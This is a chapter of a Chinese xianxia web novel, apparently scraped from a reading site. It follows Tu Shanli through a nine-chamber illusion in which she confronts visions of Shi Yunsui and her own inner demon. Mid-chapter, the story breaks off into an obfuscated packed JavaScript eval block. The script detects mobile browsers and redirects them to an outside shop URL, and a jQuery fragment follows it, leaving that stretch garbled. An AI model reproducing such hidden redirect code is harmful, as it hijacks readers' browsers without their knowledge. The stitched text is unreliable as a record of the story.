默认冷灰
24号文字
方正启体

34. 入棺

作者:温山卜鹿本书字数:K更新时间:
    “小妖主,跟我们来!”


    几位死里逃生的妖族大能,忠心护卫于一人身侧。


    鬼王大军入境,与妖主久凤鏖战。无妄海偏安一隅的鲛人族,迎来灭族之祸。


    “殿下,若想拿回另一半神骨,有两条路可选。”


    迷雾妖域的天空,被分割为两部分,一半晚霞绮丽,一半战火映天。


    众人逃到海边,就地结阵。


    阵法中央,坐着位月白素衣的年少者,长眉入鬓,凤眸紧闭。


    海域已被鬼王封死,他们无处可逃。


    妖族大能们用尽全部力量,才能打开一隅,将年少者封印。


    沉入无妄海时,荼山梨忽然睁开眼。少女眼眸如同琥珀,看着水面上,一张张沉重的面庞,逐渐远去。


    她不知下一次睁眼会是何时。


    等到另一半神骨现世,她才能醒来。


    “殿下,保重。”那一张张枯败的脸,无声启唇。


    你的道路任务艰巨,恕吾等不能相随。


    寂静无人的海底,荼山梨独自待过百年。


    再睁眼,世上早已没什么鲛人族了。


    奇怪的是,她依旧清晰记得,百年前,妖巫曾问过她的话。


    “拿回神骨,比对方强大还不够,必须让她爱或恨。所以,殿下须得告诉臣,有两条路,你要选哪一条?”


    荼山梨心底早就有了答案。


    爱一个人很难。


    恨一个人,却是很简单的。


    反正她和施云岁,注定只能当仇敌。


    总有一天,她要杀了她。


    施云岁刚到这个世界时,荼山梨被困在无妄海中。


    因神骨相连,她偶尔能看见施云岁的梦。


    恶劣本性使然,荼山梨不忘恐吓她:“我为什么被封印在这里?那还不是因为,你抢了我的东西。它在你的身体里。”


    反正醒来,施云岁就会忘记这个梦。


    荼山梨并不担心暴露意图。


    女孩果然被吓住,呆愣一瞬:“那我还给你。”


    可她上下摸了一遍,并未发现,身上有别人的东西。


    “你骗我。”女孩木着一张脸,稚声稚气,“我身上才没有你的东西。”


    她虽然小,但却不蠢,不会轻易相信别人。


    然而过一段时间,生长的疼痛,令她欲生欲死时,女孩又会哭着入睡,哀求她快把东西取回去。她好像要死了。


    荼山梨并不搭理她,只觉得她好蠢。神骨若是这般容易给出去,那么多人就白死了。


    第三室的画卷,焚烧至一半,场景忽变。


    空中浮起许多缤纷气泡,每一个气泡里,都是荼山梨进入仙山后的回忆。


    仿佛照镜子,而镜中人,不会受自己心意控制。


    看见那张与自己相同而阴郁的面庞,荼山梨心情有些微妙。


    她刚上仙山时,被称作小师姐的漂亮少女,拥有所有人的宠爱,日子过得顺风顺水,眼中从来没有她。


    哪怕她人缘越来越好,施云岁依旧不在意她。


    直到在比试台上,她第一次打败少女,断了她的剑。


    施云岁不可置信,终于第一次正眼瞧她。


    施云岁不服气:“再来。”


    她换了新剑,依旧是输,终于被气走了。


    施云岁走出数步,身后响起不合时宜的话语:“小师姐这样,生下来就身负仙骨,大道坦途,旁人怎能与你相比?”


    在阴阳怪气什么呢?


    施云岁回头瞪了她一眼。


    她是天生仙骨没错,但那跟荼山梨有什么关系?


    ——她早已忘记小时候做过的梦。


    施云岁没有搭理挑衅,自然没看见,荼山梨垂下眼睛,眼底是毫不掩饰的冷幽阴郁。


    那确实是她的真心话。


    小师姐生来便是仙灵,长于繁花似锦的安宁处。


    不似她,凄山野水,才会这般冷硬心肠。


    她怎么会懂她呢?


    真蠢。


    原以为施云岁是截木头,毫无破绽。就算惹怒她,她生气归生气,从来不会往心里去。


    后来发现,小师姐原来只是不在意她。


    一次,荼山梨偶然撞见,剑修少年带施云岁去采雪灵花。分别时,他送了一枝,插在少女发间。


    施云岁没有拒绝他。


    她截住施云岁,弯唇道:“你喜欢他?”


    施云岁惊奇看她一眼,少女心思悄然冷了下去:“关你什么事。”


    荼山梨独自在夜里站了许久,仙山夜晚很冷,冻得她手臂快要失去知觉。


    越行对吗?


    原本她对其他人不感兴趣,可现在,不得不改变计划。


    她要抢走施云岁的心爱之物。


    换了方法,果然管用。


    小师姐年岁尚小,没什么心眼,总被她轻易激怒。


    有一次,她佯装无知,毁了施云岁要送给越行的生辰礼,惹得施云岁当众与她动手。


    见所有人都不站在她那边,甚至越行也一脸失望看着她。少女大恸,不顾危险,率性脱离队伍跑远。


    荼山梨以此为威胁,让越行教她一套剑法,她可以不将此事告诉师尊。


    她算准时间,等着施云岁来。


    施云岁果然又哄好了自己。


    她期期艾艾来到越行的仙府外,山清水秀明丽处,湖旁两道倩影,执手练剑……


    那是她第一次把小师姐逼得落泪。


    荼山梨皱眉,跟了上去。


    外面在下雨,少女没回仙府,蹲在一个山洞里,脑袋埋在臂弯中,肩膀一颤一颤。


    虽然看不见施云岁的模样,但那些难抑的声音,还是透过纤薄裙摆,穿到荼山梨这边。


    忍耐的泣声,如小兽呜咽。


    荼山梨默然。


    施云岁发现身前有人,以为是师兄后悔,追出来找她了。


    慌乱抬头。


    原来是小师妹来耀武扬威了。


    她气得咬住唇,起身往外走。与人交错而过时,肩膀却被拦住。


    荼山梨分去余光。


    “滚。”施云岁第一次毫不留情骂她。


    少女脸颊气得微红,愤恨望着她,强忍着什么。


    那双明净双眸中,微光流溢。


    洞中闪烁,晶莹如星光,一颗颗坠落下来。


    施云岁抬起袖,胡乱擦了擦,然而没什么作用。


    她掩耳盗铃,挡住因痛苦而失态潮红的脸。


    哪怕以前天天欺负她,荼山梨也从未见她如此伤心过。


    荼山梨慢慢敛住了笑,淡雪般的眉眼,化作一个古怪神情:“我又没欺负你,你哭什么?”


    闻言,少女难以置信看着她。


    目光仿佛在说“——你抢走了我的一切,还有脸问我哭什么?!”


    施云岁气得眼睛红彤彤的,比小兔子还可怜:“我讨厌死你了!滚开!”


    施云岁果然是烦透她了。


    终于把小师姐逼得亲口承认,有多么讨厌她,这应该是件大喜事。


    可是……她没有想象中开怀。


    荼山梨不知从何来的怒气,握紧了拳,索性承认:“对啊,我就是抢喜欢小师姐的东西。小师姐越伤心,我越得意。”


    少女已经离开了山洞,不知听没听见。


    再次睁眼,荼山梨心中空落落的。


    比起其他人的九相幻境,第三室堪称温和,她什么也不需要做。


    画卷便焚烧殆尽。


    从施云岁频繁出现起,荼山梨已然觉察不对,眉心渐渐拢起。


    九相幻境似乎笃定,她会继续往前,所以不惜一次次试探。


    再往前,不是明智之举。


    荼山梨咬牙,依旧选择推开面前的门。


    第五室、第六室,皆空了。


    荼山梨不由加快脚步,推开第七室的门。


    手心刚触及那扇冰冷石门,荼山梨脑中不受控制,冒起一些不妙的记忆。


    又是施云岁。


    她们去外城前一夜。


    施云岁因为白日奔波,不愿再用净尘符,坚持要沐浴。


    因为他们在空殿惹了脏东西,荼山梨猜想,脏东西大概率会跟着施云岁,便抱剑守在门外。


    里面一直安安静静,久到荼山梨觉得今夜会无事发生,忽然传出少女怒叱:“谁在外面!”


    荼山梨以为自己被发现了,坦然推门进去,少女已披好衣裳,站在浴桶旁,绸缎似的长发湿漉漉往下滴水。


    “怎么回事?”荼山梨看着洞开的窗牖,探出目光。


    外面寒风呼啸,鬼影也没有。


    施云岁一脸晦气:“刚才有人敲窗,烦死了。”


    屋内两人脸色都不好看。


    荼山梨追出去,抓住了那个装神弄鬼的人。


    是个小宫婢。


    之前空殿的观音图,也是她放的。


    “他们抢了芸儿的未婚夫婿,还赐死了她!”宫婢大笑着,神情激动,看上去疯疯癫癫的。


    “所以这就是你到处悬挂画卷,装神弄鬼的原因?”


    事关驸马公主,甚至血泪观音的真相。


    然而现在回想起来,荼山梨记住的,却是少女刚从浴桶起身,胡乱裹住自己,脸上藏不住的恼怒。


    如枝梢春雪,新月初霁。


    荼山梨摒弃乱七八糟的念头,推开第七室紧闭的玄门。


    *


    谢惊潮离开第五室,本想往前。


    角落里一道黑影凝出人形,黑袍裹得严实,挡在他的去路前。


    “尊上。”黑袍人沉默开口,嗓音仿佛被火烤过一般,喑哑难听。


    谢惊潮站住脚步,想了半天,记起这是他鬼域的左护法。


    当年,正是黑袍人,得知鬼母与情夫的计谋,将年幼的他丢去人间,捡回一条小命。


    黑袍人并没有直接出手帮他,反而让他自己去看清周围豺狼。


    又或者说,黑袍人想要的,只是一个冷心冷情、没有弱点的君主。


    后来谢惊潮吞噬鬼母的情夫,成为鬼王。黑袍人顺理成章,成为他的左护法。


    流澜便是左护法举荐给他的。


    谢惊潮弯起唇:“好久不见。”


    黑袍人举起右手,放于胸膛,弯腰行礼:“拜见鬼王,鬼王别来无恙。”


    “听说鬼王大人,要娶亲了?”黑袍人突兀道。


    谢惊潮并不意外。


    左护法常年行踪不定,这次突然出现,竟然是为了这个。


    谁告的密呢?


    见玄衣少年默认,黑袍人缓缓摘下面具,露出一张被烧得残缺的脸,形容枯槁。


    谢惊潮波澜不惊,盯着那张脸,似乎想起什么。


    世间唯有灵火,才会烧得大鬼面容残缺,难以恢复。


    “需要我帮左护法治治伤吗?”看着那张丑陋的脸,谢惊潮没有露出嫌弃,反而露齿一笑,好心提议。


    “鬼王,我来这里,并非为了这个。”黑袍人沉默片刻,“而且,我也不想治好这张脸。”


    “哦?”谢惊潮适时扬起尾音。


    “因为这张脸,可以让我记住曾经的耻辱。”


    谢惊潮没有追问他的耻辱。


    静默半晌,黑袍人不得不主动开口:“鬼王,您不知道,我的上一任主人,名叫焚净,他就是栽在一个女人手中。”


    黑袍人本名浔山。原本,他也要死在那场大鬼相争的浩劫里。


    生死关头,他发现了回溯镜残留的光圈,艰难爬了进去。


    再睁眼,便来到了现在。


    见谢惊潮不为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968020|187708||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    所动,浔山急切道:“鬼王大人,您若喜欢,也不必非要合灵成婚。此事凶险,不能为之。”


    “我知道。”


    浔山不说话了。


    谢惊潮心意已决,他劝不动了。


    浔山微笑道:“尊上,或许有个办法,可以让您知道,她是否真心待你。”


    谢惊潮看去。


    黑袍人手中,安静躺着一只金色铃铛。


    *


    救出越行后,施云岁的队伍越发壮大。


    三人离开血涂室,往前走去。


    施云岁没想那么多:“师兄,你知道刚才那是幻境,是假的对吧?”


    越行似乎还未回神,愣了片刻,才想起点头。


    结果施云岁刚劝完,不知是谁擅自闯入,搅动了九相幻境。


    一阵黑雾裹来,冲散了三人。


    等施云岁再醒过神,愕然发现,她面前只剩一口巨大的漆黑棺材。


    里面有只恶鬼,不断挣扎,想要跑出来。


    单薄的棺材板被撞得砰砰作响,似乎下一刻就要被冲破。


    施云岁看着手中最后一根钉子,犹豫不定。


    “快!只差一根镇魂钉,它就永远出不来了!”


    “快砸啊!砸!它要跑出来了!”


    施云岁不敢再犹豫,毅然敲下最后一根压棺钉。


    天旋地转。


    再睁眼,四周一片漆黑,她躺在一个四四方方的盒子里。


    四周黑得不见五指,施云岁不停摸索,最后崩溃地发现,她在棺材里。


    原来她就是躺在棺材里的“恶鬼”。


    并且被邪祟蛊惑,敲下了最后一根镇魂钉。


    这是第七室!


    施云岁来不及惊恐,从灵墟掏出一柄匕首,这是仙门会剑得来的奖品,谢惊潮将它还给她了。


    空荡的密室内,棺材旁的烛火静静燃烧,浊泪堆高。


    四周壁画转动眸子,看向下方,注视着一切。


    施云岁尝试数次,都无法成功。


    “啊!”


    棺材内爆发出一声女子的惊恐尖叫,随后沉底沉寂下去。


    *


    荼山梨找来时,第七室已经恢复安静。


    九相室内,无数壁画,色彩斑斓,神态各异。


    青绿、靛蓝、朱红、藤黄,令人眼花缭乱的壁画,此刻仿佛通通活了过来。


    眼前是条狭长甬道,壁画上的金刚佛陀力士飞天仙子,全都盈盈朝前。


    天女罗裙曳地,手捧菱花镜,身后武士手举旗帜。


    这是一支旌旗飘飘的依仗队伍。


    白边黑旗,是凶旗标志——他们在为人举行葬礼。


    荼山梨眸光沉了沉。


    身披甲胄,禁军开道,只有皇室有此殊荣。


    装神弄鬼。


    荼山梨按住胸口的不安,跟着他们。


    仪仗队伍源源不断,手持菱花镜的天女身后,又跟着手捧金盆,梳篦,净瓶,银炭,泥人的仙子。


    队伍末尾处,金红襦裙的宫人,蛾眉臻首,纤手提着长命宫灯,飘飘然游移。


    队伍尽头,棺材摆在正中央,血迹到处都是。


    棺盖已经被掀开。


    荼山梨呼吸一滞。


    棺材内,少女腹部,插着一样东西。


    掀开的棺材盖上,全是她挠出来的指甲痕迹。


    周遭全是她的血,能看出她生前经历了怎样的挣扎、求救,却无人救她。


    她死得很凄惨。


    荼山梨顿住脚步,撑在棺材边缘,感觉这一切很是荒谬。


    施云岁死了?


    荼山梨走近棺材,躺在里面的少女,确实已经失去生息。


    荼山梨脑中一片眩晕,血腥气让她想吐,却又什么都吐不出来。


    棺材里,少女长眸紧闭,像沉入梦境般的恬静。只是青紫的面容,昭示她已断绝生息良久。


    这不可能,是假的。


    荼山梨目光下移——少女腹部,正笔直插着她的灵剑!


    “这就是你的心魔吗?”


    黑雾游鱼般飞在半空,盘绕她身侧,“用你腰间‘武器’,狠狠捅进她的身体,弄死她?”


    “你想要得到她——”黑雾焦躁转了转,话语打了个弯,“——的力量?”


    荼山梨绝望闭上了眼。


    与此同时,棺材内的少女悄然改变样貌,正是消失已久的九公主,死不瞑目。


    “我明白了!原来如此!”


    四周响起少女幽铃般的笑,白纱掀飞,烛火明灭。仿佛忽然到了盛夏的夜,层层虫鸣起伏不绝。


    “闭嘴。”荼山梨颤抖睁开眼,眼中清淡澄净,包容万物,却什么也没有。


    一切戛然而止。


    “我知道了!”黑雾化作的少女,抑或说荼山梨的心魔,轻盈旋身,逼近她的眼前,目光紧锁着她,“你——”


    “想要我!”


    “对不对,小师妹?”挽着披帛的飞天神女从空中落下,凑近她眼前,温柔捧起她的脸颊,落下一个吻。


    那双明净而妖艳的杏眸,如同佛殿镀过玉身的观音,居高而下,怜悯看着她。


    “你想要我,就告诉我。我会满足你的……”


    少女菱唇在烛光下泛着温柔色泽,带着香气,轻轻贴近她。


    “住口!”心魔靠近前,冰蓝的神戟寒光一闪,弄碎了整个幻境。


    一切恢复安静。


    室内,冰雪般的紫衣少女披散着发,额心渗出红艳血珠,像个妖邪。


    额心那滴血落在地上,溅开血花,又消散无踪。


    红印消隐,紫衣少女神色冷清,说出的话却极度恶劣:“什么玩意儿,也配和我小师姐用同一张脸。”


    唯独荼山梨自己知道,她确实看见了,世上最为恐怖之物。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)